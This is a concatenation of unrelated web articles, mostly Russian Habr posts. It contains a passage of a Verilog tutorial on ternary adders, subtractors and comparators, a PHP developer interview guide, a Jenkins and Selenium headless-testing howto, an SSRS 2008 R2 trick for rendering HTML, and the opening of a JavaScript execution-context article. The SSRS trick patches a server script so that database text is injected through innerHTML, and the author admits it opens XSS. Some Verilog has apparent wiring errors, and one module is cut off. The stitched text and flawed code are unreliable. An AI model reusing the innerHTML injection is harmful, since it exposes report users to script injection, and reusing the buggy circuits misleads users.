andgate andc_1(a1,b2,c1);
orgate orc_0(c0,c1,c2);
orgate orc_1(c2,i5,c3);
andgate andc_2(c3,temp,carry); // carry
orgate or_5(o1, o4, sum); // sum
endmodule
```
Ternary full adder
==================
As with half adders, one stage of a ternary full adder can be described by a numerical table giving the sum *SUM* and carry out *CARRY* as a function of the three inputs *A, B,* along with the carry in *C*:
**Analysis**
A karnaugh map (K-map) is used to represent the sum and carry output. K-maps are useful for minimization and optimization of logic circuits. Here a K-map of 3 inputs is used.
**Implementation**
**Ternary full adder circuit/verilog**
```
module ternary_full_adder (
input [1:0] A, [1:0] B, [1:0] c_in,
output [1:0] sum, [1:0] c_out
);
wire [1:0] temp1 = 2'b01;
wire [1:0] temp2 = 2'b00;
wire [1:0] a0, a1, a2, b0, b1, b2, a20;
wire [1:0] i0, i1, i2, i3, i4;
wire [1:0] i5, i6, i7, i8, i9, i10, i11, i12, i13, i14, i15, i16, i17;
wire [1:0] o0, o1, o2, o3, o4, o5, o6, o7, o8, o9;
wire [1:0] c0, c1, c2;
wire [1:0] h0, h1, h2, h3, h4, h5, h6, h7;
wire [1:0] t0, t1, t2, t3, t4, t5, t6, t7, t8, t9, t10, t11, t12, t13, t14, t15, t16;
wire [1:0] g0, g1, g2, g3, g4, g5, g6, g7, g8, g9, g10, g11, g12, g13, g14, g15;
mask mk_1(A, a0, a1, a2);
mask mk_2(B, b0, b1, b2);
mask mk_3(c_in, c0, c1, c2);
andgate3 and3_1(a2,b0,c0, i0);
andgate3 and3_2(a1,b0,c1, i1);
andgate3 and3_3(a0,b0,c2, i2);
andgate3 and3_4(a1,b1,c0, i3);
andgate3 and3_5(a0,b1,c1, i4);
andgate3 and3_6(a2,b1,c2, i5);
andgate3 and3_7(a0,b2,c0, i6);
andgate3 and3_8(a2,b2,c1, i7);
andgate3 and3_9(a1,b2,c2, i8);
andgate3 and3_10(a1,b0,c0, i9);
andgate3 and3_11(a0,b0,c1, i10);
orgate or__(a2, a0, a20);
andgate3 and3_12(a20,b0,c2, i11); // note a20
andgate3 and3_13(a0,b1,c0, i12);
andgate3 and3_14(a2,b1,c1, i13);
andgate3 and3_15(a1,B,c2, i14);
andgate3 and3_16(a2,b2,c0, i15);
andgate3 and3_17(a1,b2,c1, i16);
andgate3 and3_18(temp2,b2,c2, i17);
orgate or_1(i9, i10, o0);
orgate or_2(o0, i11, o1);
orgate or_3(o1, i12, o2);
orgate or_4(o2, i13, o3);
orgate or_5(o3, i14, o4);
orgate or_6(o4, i15, o5);
orgate or_7(o5, i16, o6);
orgate or_8(o6, i17, o7);
andgate and_1(o7, temp1, o8); // 1.f2
orgate or_9(i0, i1, h0);
orgate or_10(h0, i2, h1);
orgate or_11(h1, i3, h2);
orgate or_12(h2, i4, h3);
orgate or_13(h3, i5, h4);
orgate or_14(h4, i6, h5);
orgate or_15(h5, i7, h6);
orgate or_16(h6, i8, h7);
orgate or_17_(h7, o8, sum); // sum
// carry
andgate3 and3_19(a2,b2,c2, t0); // f1
andgate3 and3_20(a0,b1,c2, t1);
andgate3 and3_21(a0,b2,c2, t2);
andgate3 and3_22(a0,b2,c1, t3);
andgate3 and3_23(a1,b2,c0, t4);
andgate3 and3_24(a2,b2,c0, t5);
andgate3 and3_25(a1,b1,c1, t6);
andgate3 and3_26(a1,b2,c1, t7);
andgate3 and3_27(a1,b0,c2, t8);
andgate3 and3_28(a1,b1,c2, t9);
andgate3 and3_29(a1,b2,c2, t10);
andgate3 and3_25_(a2,b0,c2, t11);
andgate3 and3_26_(a2,b1,c2, t12);
andgate3 and3_27_(a2,b0,c1, t13);
andgate3 and3_28_(a2,b1,c1, t14);
andgate3 and3_29_(a2,b2,c1, t15);
andgate3 and3_9_(a2,b1,c0, t16);
orgate or_17(t1, t2, g0);
orgate or_18(g0, t3, g1);
orgate or_19(g1, t4, g2);
orgate or_20(g2, t5, g3);
orgate or_21(g3, t6, g4);
orgate or_22(g4, t7, g5);
orgate or_23(g5, t8, g6);
orgate or_24(g6, t9, g7);
orgate or_25(g7, t10, g8);
orgate or_21_(g8, t11, g9);
orgate or_22_(g9, t12, g10);
orgate or_23_(g10, t13, g11);
orgate or_24_(g11, t14, g12);
orgate or_25_(g12, t15, g13);
orgate or_5_(g13, t16, g14); //f2
andgate and_2(g14, temp1, g15); // 1.f2
orgate or_26(g15, t0, c_out); // carry
endmodule
```
Ternary Full Subtractor
=======================
Ternary full-Subtractor is a circuit that subtracts two inputs and previous borrow. Truth table for Subtractor is shown below
**Analysis and Implementation of Ternary Full Subtractor**
**Code**
```
module full_subtractor(
input [1:0] P, Q, b_in,
output [1:0] diff, b_out
);
wire [1:0] temp1 = 2'b01;
wire [1:0] temp2 = 2'b10;
wire [1:0] a0, a1, a2, b0, b1, b2;
wire [1:0] i0, i1, i2, i3, i4, i5, i6, i7, i8, i9, i10, i11, i12, i13, i14, i15, i16, i17;
wire [1:0] c0, c1, c2, c3;
wire [1:0] h0, h1, h2, h3, h4, h5, h6, h7, h8, h9, h10, h11;
wire [1:0] t0, t1, t2, t3, t4, t5, t6, t7, t8, t9;
wire [1:0] p0, p1, p2;
wire [1:0] q0, q1, q2;
mask mk_1(P, p0, p1, p2);
mask mk_2(Q, q0, q1, q2);
mask mk_3(b_in, b0, b1, b2);
andgate and_0(p0, q1, i0);
andgate3 and3_0(p2, p1, q2, i1);
orgate or_0(i0, i1, i2);
andgate and_1(b0, i2, i3); // first expression
andgate and_2(p0, q0, i4);
andgate and_3(p1, q1, i5);
andgate and_4(p2, q2, i6);
orgate or_1(i4, i5, i7);
orgate or_2(i7, i6, i8);
andgate and_5(i8, b1, i9); // second expression
andgate and_6(p1, q0, i10);
andgate and_7(p0, q2, i11);
andgate and_8(p2, q1, i12);
orgate or_3(i10, i11, i13);
orgate or_4(i13, i12, i14);
andgate and_9(i14, b2, i15); // third expression
orgate or_5(i3, i9, i16);
orgate or_6(i16, i15, c0); //f1
orgate or_7(i10, i12, t0);
orgate or_8(t0, i11, t1);
andgate and_10(t1, b0, t2); // 1 expression
andgate and_11(p1, q2, i17);
orgate or_9(i4, i17, t3);
andgate and_12(t3, b1, t4); // 1- expression
orgate or_10(i4, i5, t5);
orgate or_11(t5, i6, t6);
andgate and_12_(t6, b2, t7); // 1-- expression
orgate or_12(t2, t4, t8);
orgate or_13(t8, t7, t9);
andgate and_13(t9, temp1, c1);
orgate or_14(c0, c1, diff); // difference
orgate or_15(q1, q2, h0);
andgate and_14(h0, temp2, h1);
andgate and_15(h1, b2, h3); // 1 b
orgate or_16(i0, i11, h4);
andgate and_16(h4, temp2, h5); // 1- b
andgate and_17(i17, temp2, h6); // 1-- b
andgate3 and3_1(p2, q2, b1, h7); // 1--- b
andgate3 and3_2(p1, q0, b2, h8); // 1---- b
orgate or_17(h3, h5, h9);
orgate or_18(h9, h6, h10);
orgate or_19(h10, h7, h11);
orgate or_20(h11, h8, b_out); // borrow
endmodule
```
Ternary Ripple Carry Adder
==========================
Ripple-carry adder(RCA) is a well-known circuit for performing addition of two numbers by cascading ternary full adders. A Ternary RCA is quite similar to its Binary counterpart. A Ternary Half Adder is employed to add the least significant Ternary digits. The rest are summed up by Ternary Full Adders. As mentioned before, Ternary Full Adder adds three Ternary input variables.
**Implementation**
**verilog code: Ternary ripple carry adder**
```
module ternary_ripple_adder (
input [15:0] input1 ,
input [15:0] input2 ,
output [15:0] out ,
output [1:0] overflow_trit
);
wire [15:0] carry ;
reg tem;
assign carry[0] = tem;
assign carry[1] = tem;
always @(input1, input2)
begin
tem <= 1'b0;
end
generate
genvar i;
for (i = 0; i <= 12; i=i+2)
begin
full_add af({input1[i+1],input1[i]}, {input2[i+1],input2[i]},
{carry[i+1],carry[i]}, {out[i+1], out[i]}, {carry[i+3],carry[i+2]});
end
full_add af({input1[15],input1[14]}, {input2[15],input2[14]},
{carry[15],carry[14]}, {out[15], out[14]}, overflow_trit);
endgenerate
endmodule
```
Ternary Comparators
===================
Ternary comparator circuit camper two inputs X1, X2 and accordingly generates output as X1 = X2, X1 > X2, X1 < X2. Truth table for a ternary comparator is shown below
**Analysis and Implementation**Output equation for X1 = X2, X1 > X2, X1 < X2 are:
Corresponding k-maps are shown below
**Code**
```
module ternary_comparators (
input [1:0] x1, x2,
output [1:0] f1, f2, f3
);
wire [1:0] t0, t1, t2, t3, t4, t5, t6, t7;
wire [1:0] h0, h1, h2, h3, h4, h5;
wire [1:0] x10, x11, x12;
wire [1:0] x20, x21, x22;
mask mk_1(x1, x10, x11, x12);
mask mk_2(x2, x20, x21, x22);
andgate and_0(x10, x20, t0);
andgate and_1(x22, x22, t1);
orgate or_0(t0, t1, h0);
orgate or_1(h0, x11, h1);
orgate or_2(h1, x21, f1); // x1 == x2
andgate and_2(x11, x20, t2);
andgate and_3(x12, x20, t3);
andgate and_4(x12, x21, t4);
orgate or_3(t2, t3, h3);
orgate or_4(h3, t4, f2); // x1>x2
andgate and_5(x10, x21, t5);
andgate and_6(x10, x22, t6);
andgate and_7(x11, x22, t7);
orgate or_5(t5, t6, h4);
orgate or_6(h4, t7, f3); // x1
```
Ternary Multiplier
==================
Ternary multiplier is a circuit that multiplies two input numbers and generates corresponding product. Truth table for this circuit is shown below:
**Analysis and Implementation**The resulting expression for the product and carry are shown:
The corresponding K-maps are shown:
**Code**
```
module ternary_multiplier (
input [1:0] A, [1:0] B,
output [1:0] product, [1:0] carry
);
wire [1:0] temp = 2'b01;
wire [1:0] a0, a1, a2, b0, b1, b2;
wire [1:0] i0, i1, i2, i3, i4, i5;
wire [1:0] o0, o1, o2, o3, o4;
mask msk_1(A, a0, a1, a2);
mask msk_2(B, b0, b1, b2);
andgate and_1(a1,b2,i0);
andgate and_2(a2,b1,i1);
orgate or_1(i0, i1, o0); // f1
andgate and_4(a1,b1,i3);
andgate and_5(a2,b2,i4);
orgate or_3(i3, i4, o2);
andgate and_3(temp,o2,o3);
orgate or_4(o3, o0, product); // product
andgate andc_0(a2,b2,o4);
andgate andc_1(temp,o4,carry); // carry
endmodule
```
Ternary Multiplexers and Demultiplexers
=======================================
Multiplexer is a circuit having multiple inputs and a single output. It is also known as decoder. The output function of the multiplexer is determined by the number of function lines. Thus for 2 trit
multiplexer the output will be 32 = 9 and two will be the function select lines. Multiplexer i.e. function
selection logic selects 1 out of 9 functions as an output. Function select logic is implemented using logic gates. The output equation of function selection logic is:
**Analysis**
Demultiplexer is also referred to as encoder. Its functionality is reverse to that of multiplexer. It accepts the single input and distributes it over several outputs
Simple Ternary D Latch
======================
Although design of circuits implementing combinational ternary logic is straightforward, the design of a simple and robust ternary memory element (i.e latch) suitable for integrated circuit (IC) implementation has been challenging. However, a simple ternary latch can be obtained by replacing the binary NOR or NAND gates used with corresponding ternary T\_NOR or T\_NAND gates.
Simple Ternary D Flip-Flap-Flop
===============================
The Master Slave (MS) ternary D Flip-Flap-Flop (FFF) is realized based on the ternary D latches. This is similar to the way the binary D Flip-Flop (FF) is realized using binary D latches. The logic diagram and the operation description of the MS binary D flip-flop are well known. In order to implement the MS ternary D FFF, we replace the binary D latches with ternary D latches (realized with ternary negated-minimun gates of two inputs – NAND) and the binary inverters with simple ternary inverters (STI). The truth tables for both the ternary NAND circuits and ternary STI circuits are shown
**Truth table for NAND and STI circuits**
For MS ternary D FFF with binary clock, the data are ternary (0, 1 and 2 logic) and the clock is binary (low and high – in our
implementation, 0 and 2 logic). The MS ternary D FFF with
binary clock can read the data when the clock goes from low to
high (positive edge) or from high to low (negative edge), depending
on the number of STIs.
The inputs of the ternary D FFF are Data and Clk, and the outputs are Q and Not\_Q. The clock signal is binary and the logic levels are denoted 0 and 2, in order to maintain the correspondence with electrical implementation
**Simulation**
---
1-bit Ternary Arithmetic and Logic Unit (T-ALU)
===============================================
Ternary Arithmetic Logic Unit (ALU) is a digital circuit used to perform arithmetic and logic operations. It represents the fundamental building block of the Central Processing Unit (CPU) of a ternary computer. ALU carries out arithmetic operations like addition, subtraction, multiplication, and logic operations compare, NAND, NOR, NOT, AND, and OR. Below is shown a primitive architecture of a 1 trit ALU
**Truth table and functioning for T-ALU**
Basic building blocks of ALU are decoders, function select logic (Multiplexer), transmission gate and separate processing modules. Function selection logic selects 1 out of 9 functions listed depending upon the logic state on function select lines W and Z.
Output lines of selection logic are connected to TG (Ternary gate) associated with each module. Any module is selected only when associated TG is enabled else it is isolated from data lines. For e.g. If input from select lines W and Z = 0, output E0 of selection logic is high (2) while E1, to E8 is low (0) so, TG associated with adder module will be enable allowing data
lines to be connected to adder modules while other modules are isolated from the data lines.
Finally, by cascading **n/2** trit ALU slices, an **n** trit ALU can be formed. | https://habr.com/ru/post/431726/ | null | ru | null |
# Собеседование. Сегодня
В сферу моих профессиональных обязанностей входит проведение собеседования для соискателей на должность PHP разработчика. И дальше речь пойдет о собеседовании…
*Два года назад подобный пост вызвал бурное обсуждение как [на моё блоге](http://anton.shevchuk.name/php/php-interview/) так и на [Хабре](http://habrahabr.ru/blogs/php/21681/), я не буду говорить что изменилось, я думаю вы сами это увидите.*
Наши HR-ы уже достаточно опытны и поэтому часть вопросов берут на себя:
— **Почему ушли с предыдущего места работы?**
— **Почему выбрали нашу компанию?**
— **С чего начали изучать программирование?**
— **Почему выбрали PHP?**
Ответы на данные вопросы формируют первое впечатление о человеке. Зачастую оно верно…
Далее разговор переходит в техническое русло. Можем начать с основ ООП — [наследование](http://ru.wikipedia.org/wiki/Наследование_(программирование)), [инкапсуляция](http://ru.wikipedia.org/wiki/Инкапсуляция_(программирование)) и [полиморфизм](http://ru.wikipedia.org/wiki/Полиморфизм_в_языках_программирования), а возможно и пропустим сей шаг.
— **С какими PHP библиотеками, фреймворками знакомы?**
Соискатель должен знать о существовании таких фреймворков как Zend Framework, CakePHP, CodeIgniter или Symfony, и желательно иметь опыт работы с одним из них (список можно расширить — это не так принципиально).
> За 4 с лишним лет работы PHP разработчиком я познакомился с тремя из перечисленных фреймворков, и активно использую Zend Framework.
>
> Знание различных фреймворков дает вам понимание и идеи как писать код. Этим путем обязан пройти каждый разработчик. Изучайте и участвуйте в развитии Open Source проектов — это даст вам большой опыт, по сравнении с тем, который вы способны сами получить в аналитическом мышлении. Отвечая на этот вопрос будет уместно рассказать о своих способностях к проектированию и архитектурному мышлению.
— **С какими API приходилось работать?**
Интересуют Google API, AMF PHP, различные payment gateway, Facebook API, Twitter API и т.д.
> Этот вопрос очень важный, потому, что это вопрос к вашему опыту интеграции сторонних приложений. Мы, разработчики, очень много времени проводим интегрируя сторонние и внутренние библиотеки с рабочим кодом приложения. Это также относиться к теме умения читать и понимать чужой код. Тут можно расширенно рассказать про свой опыт внедрения различных библиотек, классов или целых продуктов в рабочий код проекта.
— **Есть ли опыт работы с различными CMS? Опыт работы не как web-мастера, а как программиста...**
> Думаю компания использует некоторые CMS в своих проектах. Расскажите подробно про ту CMS с которой вы знакомы или пусть даже про свою само-писанную с которой довелось работать.
— **Работал с PHP 4? Назови различия с 5-ой версией.**
— **Что нового в PHP 5.3?**
— **Типы данных в PHP?**
Этот вопрос на добивание, он часто ставит в тупик, если человек отвечает что их [восемь](http://php.net/manual/en/language.types.php), а потом начинает их перечислять, значит он [готовился к собеседованию](http://www.google.com/search?q=php+%D1%81%D0%BE%D0%B1%D0%B5%D1%81%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) :)
> Все ответы есть в PHP мануале, просто RTFM.
— **Что такое сериализация?**
— **Что самое сложное разрабатывали на PHP?**
Этот вопрос может расставить все точки над «i», но не стоит его задавать в самом начале — это пугает…
> Второй вопрос очень хорош, и может быть даже решающим. Я бы рассказал здесь про проектирование, архитектуру и применение OOP в своем последнем проекте или в своем самом интересном проекте. Также, добавил бы про высокую оптимизацию приложения и работу с большими массивами данных. А, если вы работали с какими то «экзотическими», но мега-полезными библиотеками, такими как Sphinx Search, Lucene или может с чем то уникальным в вашей компании, то об этом также стоит рассказать.
— **Какие шаблоны проектирования знаешь? Расскажи в чем соль каждого?**
— **Что есть [MVC](http://ru.wikipedia.org/wiki/Model-View-Controller)? Какую роль выполняет каждый из составляющих элементов?**
> Шаблоны проектирования или design patterns являються не чем иным, как распространенными методами решения типичных задач. Кто внимательно читал книгу «Банды четырех» или «Архитектура корпоративных программных приложений» Фаулера, тот ответит на этот вопрос даже с неким удовольствием.
– **С какими web-серверами работал? Apache? Nginx? IIS?**
— **Можешь описать как можно подробнее, что происходит между тем, как пользователь ввёл в адресной строке [google.com](http://google.com) и тем, как браузер показал страницу?**
– **Системы контроля версий? SVN? CVS? Git? Что есть branch/trunk/tags?**
– **Багтрекинг системы?**
> Некоторые задачи веб разработки решаются путем настройки веб серверов. Поэтому создавая веб сайты, будьте любезны ознакомиться с возможностями веб сервера и протоколом HTTP.
>
> В современной веб разработке без системы контроля версий никак, это не только инструмент слежения за изменениями, это также хороший способ проверить качество кода, путем анализа патча начинающих программистов.
Немного мучаю по БД:
— **С какими БД работал? Что такое транзакции, хранимые процедуры, триггеры?**
— **Коль работал с MySQL то сможешь назвать различия между версиями 4.1, 5.0, 5.1?**
— **Каковы различия между MyISAM и InnoDB?**
> Все это есть в мануале MySQL, и как минимум теоретически знания по дополнительным возможностям MySQL у разработчика должны быть. Типов storage engine не так уже и много и знать про характеристики основных двух надо обязательно.
>
> Если вы имеете более 3 лет опыта работы в веб разработке на php, python, perl, то скорее всего вы начинали с mysql 3.23 и по мере эволюции MySQL представляете различия и возможности новых версий. Поэтому этот вопрос не должен вас сбить с ног.
И для полноты знаний web-разработчика естественно не хватает вопросов о HTML, CSS, Javascript:
— **Ваша субъективная оценка своих знаний по CSS по пятибальной шкале?**
— **Приходилось ли верстать сайт?**
— **Почему CSS это *каскадные* таблицы стилей?**
— **Что здесь написано? Напишите HTML код к которому будет применен данный стиль.**
`#my p.sel:first-line, .main li li a:hover + span
{
color:#f00; /* Что это за цвет? */
}`
> Уметь читать, понимать и писать CSS это разные вещи. Если вы обладаете первыми двумя навыками, этого достаточно, умеет верстать отлично.
>
>
— **Ваша субъективная оценка своих знаний по Javascript'у?**
— **Что самое сложное разрабатывали с использованием Javascript'a?**
— **С какими Javascript фреймворками работали? Какие плагины использовали? Писали ли плагины, виджеты?**
Интересуют jQuery/UI, Prototype/Aculo, MooTools/MochaUI, Dojo Toolkit, ExtJs.
— **Каким образом можно реализовать наследование в Javascript?**
— **Что такое AJAX и как он работает?**
— **Что такое JSON? С JSONP сталкивались?**
> Знания по Javascript важнее знаний CSS, но они взаимосвязаны и поэтому зная одно и не зная другого, вы не сможете делать полноценные скрипты. Javascript фреймворки просто облегчают вашу жизнь, попробуйте выучить основы хотя бы одного и вам будет уже намного проще с Javascript.
И последний вопрос — **Какие у Вас есть к нам вопросы?** — интересно узнать что же все-таки интересует соискателя.
Бывает еще задаю вопросы на сообразительность, иль какие не по теме — чтобы сбить с толку (не гуманен я)…
*Так всё же, что поменялось? Поменялись требования к соискателям, разработчиков уровня Junior на рынке труда сейчас предостаточно, хочется заполучить более опытные кадры, от которых в наименьшие сроки можно получить отдачу.*
Список книг, которые помогут вам в веб разработке (ссылки реферальные):
* [PHP 5. Профессиональное программирование](http://www.ozon.ru/context/detail/id/2612430/?partner=seek)
* [Профессиональное программирование на PHP](http://www.ozon.ru/context/detail/id/2527057/?partner=seek)
* [MySQL сборник рецептов](http://www.ozon.ru/context/detail/id/2151095/?partner=seek) и [High Performance MySQL second edition](http://www.amazon.com/High-Performance-MySQL-Optimization-Replication/dp/0596101716)
* [Javascript подробное руководство](http://www.ozon.ru/context/detail/id/3881091/?partner=AntonShevchuk)
* [Большая книга CSS](http://www.ozon.ru/context/detail/id/4265917/?partner=AntonShevchuk)
Вопросы задавал [Антон Шевчук](http://anton.shevchuk.name/php/php-interview-today/), комментировал [Ярослав Ворожко](http://pro100pro.com/otvety-interview-v-web-razrabotke) | https://habr.com/ru/post/67963/ | null | ru | null |
# HowTo: continuous integration Django в Jenkins с помощью Selenium
Это шпаргалка раскрывающая раздел «Интеграция Selenium тестов» статьи [Настройка Jenkins для django проекта с нуля](http://habrahabr.ru/blogs/django/132521/). А именно как запускать `Selenium` тесты на удалённом сервере `Jenkins` у которого нет монитора и форточек.
Спасибо [black\_bunny](https://habrahabr.ru/users/black_bunny/) за статью и она прекрасно покрывает установку и настрйоку `Jenkins`, но у меня сломалась пара костылей пока я всё это дело объединил в работающую систему с его же `django-selenium`. Теперь коротко и по делу.
**Для справки:** тестировочный сервер у меня `Ubuntu 11.10 x64` без монитора и `X.org` и описываемое действо выполнено именно на нём.
##### Установка
Ставим и настраиваем `Jenkins` как описано в вышеупомянутой статье.
Для запуска тестов Selenium понадобится браузер и терминал вывода для этого самого браузера.
Ставим ему терминал:
```
sudo apt-get install xvfb
```
и сам браузер:
```
sudo apt-get install --no-install-recommends firefox
```
Для работы тестов также потребуется пара python пакетов. Тут можно подсмотреть как [автоматизировать сборку тестового окружения](http://habrahabr.ru/blogs/django/135648/). Собственно я использую тот самый `fab` скрипт с изменённой командой запуска. Её я укажу чуть позже.
Пакеты для работы `Selenium` тестов (ставятся через `pip install`):
```
selenium
django-selenium
```
##### Настройка
Сам автор `django-selenium` рекомендует использовать свой раннер тестов для запуска под `Jenkins`, но так как оно описано — оно не заработало, а когда я его подправил и оно заработало, то не стало учитывать настройку `PROJECT_APPS` для `django-jenkins`, т.е. запускало абсолютно все тесты из всех пакетов, используемых в проекте. Потому я предлагаю вам свой раннер, который запускается `django-jenkins`, прогоняет тесты которые положено для него, после чего уже запускает исключительно `selenium` тесты из `django-selenium`:
```
# -*- coding: utf-8 -*-
from django_jenkins.runner import CITestSuiteRunner
from django_selenium.jenkins_runner import JenkinsTestRunner, SeleniumTestRunner
from django.test.testcases import TestCase
from django.test.simple import reorder_suite
class ProjectRunner(JenkinsTestRunner):
"""
Project test runner
"""
def __init__(self, **kwargs):
super(ProjectRunner, self).__init__(**kwargs)
self.selenium_only = True
def build_suite(self, test_labels, **kwargs):
suite = SeleniumTestRunner.build_suite(self, test_labels, **kwargs)
suite.addTest(CITestSuiteRunner.build_suite(self, test_labels, **kwargs))
return reorder_suite(suite, (TestCase,))
```
Положите этот код в файл `test_runner.py` в корне Вашего проекта (скажем проект называется *«project»*).
Добавьте в настройки проекта:
```
SELENIUM_DISPLAY = ':99'
JENKINS_TEST_RUNNER = 'project.test_runner.ProjectRunner'
```
##### Запуск
В этом месте:
настройку проекта `Jenkins` следует немного подредактировать и заменить запускающую команду на:
```
xvfb-run ./manage.py jenkins
```
В общем нужно поместить выполнение тестов в виртуальный фреймбуфер `X.org`, т.е. перед началом команды запускающей тесты нужно добавить `xvfb-run`. В конце можете добавить список приложений, хотя это особого смысла не имеет, т.к. у нас есть работающая настройка `PROJECT_APPS`.
Вот и всё — удачных тестов! | https://habr.com/ru/post/138784/ | null | ru | null |
# Учим MS SQL Server Reporting Services 2008 R2 показывать HTML в отчетах
#### Проблема
Недавно столкнулся с необходимостью показать в отчете SSRS 2008 R2 HTML-таблицы, хранящиеся в базе данных.
И здесь на сцену статисты выносят заботливо подготовленные «грабли». Все дело в том, что Report Manager в SSRS 2008 R2 поддерживает только ограниченное количество тегов HTML, и табличные в их число не входят.
Согласно официальной документации, поддерживаются только следующие теги:
* Ссылки: A HREF
* Шрифт: FONT
* Заголовки, блочные элементы: H{n}, DIV, SPAN,P, LI
* Форматирование текста: B, I, U, S
* Списки: OL, UL, LI
Список атрибутов CSS также сильно урезан.
После продолжительного поиска в интернете, стало понятно, что ни один из вариантов, предлагаемых сообществом разработчиков, меня не устроит.
#### Исследование
Варианты предлагались следующие:
* Рендерить HTML в картинку на стороне сервера с помощью специально разработанного компонента (Custom Report Items)
* Заменить теги на поддерживаемые с симуляцией таблиц (нужно писать скрипт в самом отчете)
В одном из обсуждений натолкнулся на подсказку — Javascript на стороне клиента. Готового решения не было.
Начал с попыток проанализировать какой код выполняется на стороне клиента при отображении отчета. Подсмотрел в код отчета в браузере и нашел внедренный скрипт **ReportingServices.js**:
Сам скрипт у меня на сервере лежал здесь:
```
c:\Program Files\Microsoft SQL Server\MSRS10_50.SQLEXPRESS\Reporting Services\ReportManager\js\ReportingServices.js
```
Нашел пару статей на тему Javascript-инъекции с помощью данного скрипта, но основная проблема была в том, что мои модификации выполнялись только один раз при отображении первой страницы отчета, и при переходе на следующие страницы интерфейсные элементы уже не перерисовывались (AJAX).
Попытки глубже разобраться в принципах работы SSRS продолжились изучением фрагментов кода основных DLL-ей сервера с помощью DevExtras CodeReflect и препарированием отчетов в IE9 developer tool/Opera Dragonfly.
В результате нашел следующее:
* Для WebForms которые используют Ajax, есть ряд событий, определяющих жизненный цикл страницы
* Одно из таких событий — Load, вызывается каждый раз, при загрузке страницы и всех вызовов Ajax
* Подробности в статье Ajax Client Life-Cycle Events: <http://msdn.microsoft.com/en-us/library/bb386417.aspx>
Для того чтобы добавить свой обработчик — нужно создать JS-функцию pageLoad, которая автоматически будет выполняться при возникновении события Load:
```
function pageLoad(sender, args) {
//здесь наш код, например alert("Работает!");
}
```
Вставляю данную конструкцию в самое начало скрипта **ReportingServices.js**. Работает!
#### Решение
Собственно, дальше уже головоломка собралась и получилось следующее решение:
1. Добавляем в начало скрипта **%SSRS Install Dir%\Reporting Services\ReportManager\js\ReportingServices.js** следующую функцию:
```
function pageLoad() {
var toDecode = document.getElementsByTagName("div"); // получаем все DIVы
for (var i = 0; i < toDecode.length; ++i){ // перебираем
if(toDecode[i].innerHTML.indexOf("HTMLInject:") == 0){ // DIV содержит префикс?
Decoded = toDecode[i].innerText || toDecode[i].textContent; // поддержка IE, Opera, FF
toDecode[i].innerHTML = Decoded.slice(11); // вырезаем префикс & TXT --> HTML
}
}
}
```
2. Теперь, чтобы вывести поле как HTML, в свойствах placeholder'а в поле Value надо написать следующее:
```
="HTMLInject:"+Fields!FieldName.Value
```
, где FieldName — имя поля датасета, содержащего HTML.
При этом свойство «General\Markup type» самого поля нужно поставить в значение "**None — Plain text only**".
3. При необходимости изменения стилей HTML — можно внести правки в этот CSS: **%SSRS Install Dir%\ReportingServices\ReportManager\Styles\ReportingServices.css** Однако, мне повезло и мои HTML таблицы были отформатированы классами, которые я и добавил в CSS-файл.
#### А теперь примеры
Так по-умолчанию показывается поле («None — Plain text only»):
Так показывает таблицы, если тип разметки поставить в «HTML — Interpret HTML tags as styles»:
Мой вариант:
#### Про/контра такого решения
Достоинства:
* Работает
* Легко и быстро сделать
Недостатки:
* Работает только при отображении отчетов в веб-интерфейсе. В других форматах отчетов (Excel, PDF, Word...) отображается весь HTML с тегами. Как обходное решение можно использовать несколько столбцов для одного поля и признак видимости "**Show or hide based on an expression**" с формулой "**=Globals!RenderFormat.Name**"(то есть показывать только один столбец, в зависимости от формата отчета). Далее, в отчетах для других форматов уже можно разработать функцию для плейсхолдера, чтобы как-то причесать HTML (например заменой на поддерживаемые теги, или отображением как картинки).
* Слетает навигация по меню отчета (DocumentMap) — то есть якоря в документе расставляются некорректно и для отрендеренных в HTML элементов может происходить смещение на величину, составляющую разницу между тем, как собирался показать SSRS наше поле, и как в итоге показал.
* Быстродействие на сложных отчетах и медленных клиентах
* XSS
#### Выводы
Вот так, с помощью нехитрых приспособлений, можно научить SSRS показывать HTML… Но ЗАЧЕМ?!
Сотни постов, от растерянных до гневных, переполняют интернеты из-за такой мелочи.
Даже [BIRT](http://www.eclipse.org/birt) это уже давно умеет, а новейшая версия SSRS2012 еще нет (пруфлинк: <http://technet.microsoft.com/en-us/library/ff519562.aspx>).
Есть мысли, что MS реализовала показ HTML в таком ограниченном виде чтобы не пострадала безопасность/стабильность системы отчетности, но похоже, что все альтернативные решения напоминают пресловутый «троллейбус».
**UPD:**
Про рендеринг HTML в картинку — вот на основе [этого](http://code.msdn.microsoft.com/windowsdesktop/How-to-render-or-convert-7064e4e2) можно попробовать разработать Custom report Item. | https://habr.com/ru/post/142597/ | null | ru | null |
# Контекст выполнения и стек вызовов в JavaScript
Если вы — JavaScript-разработчик или хотите им стать, это значит, что вам нужно разбираться во внутренних механизмах выполнения JS-кода. В частности, понимание того, что такое контекст выполнения и стек вызовов, совершенно необходимо для освоения других концепций JavaScript, таких, как поднятие переменных, области видимости, замыкания. Материал, перевод которого мы сегодня публикуем, посвящён контексту выполнения и стеку вызовов в JavaScript.
[](https://habr.com/company/ruvds/blog/422089/)
Контекст выполнения
-------------------
Контекст выполнения (execution context) — это, если говорить упрощённо, концепция, описывающая окружение, в котором производится выполнение кода на JavaScript. Код всегда выполняется внутри некоего контекста.
### ▍Типы контекстов выполнения
В JavaScript существует три типа контекстов выполнения:
* Глобальный контекст выполнения. Это базовый, используемый по умолчанию контекст выполнения. Если некий код находится не внутри какой-нибудь функции, значит этот код принадлежит глобальному контексту. Глобальный контекст характеризуется наличием глобального объекта, которым, в случае с браузером, является объект `window`, и тем, что ключевое слово `this` указывает на этот глобальный объект. В программе может быть лишь один глобальный контекст.
* Контекст выполнения функции. Каждый раз, когда вызывается функция, для неё создаётся новый контекст. Каждая функция имеет собственный контекст выполнения. В программе может одновременно присутствовать множество контекстов выполнения функций. При создании нового контекста выполнения функции он проходит через определённую последовательность шагов, о которой мы поговорим ниже.
* Контекст выполнения функции `eval`. Код, выполняемый внутри функции `eval`, также имеет собственный контекст выполнения. Однако функцией `eval` пользуются очень редко, поэтому здесь мы об этом контексте выполнения говорить не будем.
Стек выполнения
---------------
Стек выполнения (execution stack), который ещё называют стеком вызовов (call stack), это LIFO-стек, который используется для хранения контекстов выполнения, создаваемых в ходе работы кода.
Когда JS-движок начинает обрабатывать скрипт, движок создаёт глобальный контекст выполнения и помещает его в текущий стек. При обнаружении команды вызова функции движок создаёт новый контекст выполнения для этой функции и помещает его в верхнюю часть стека.
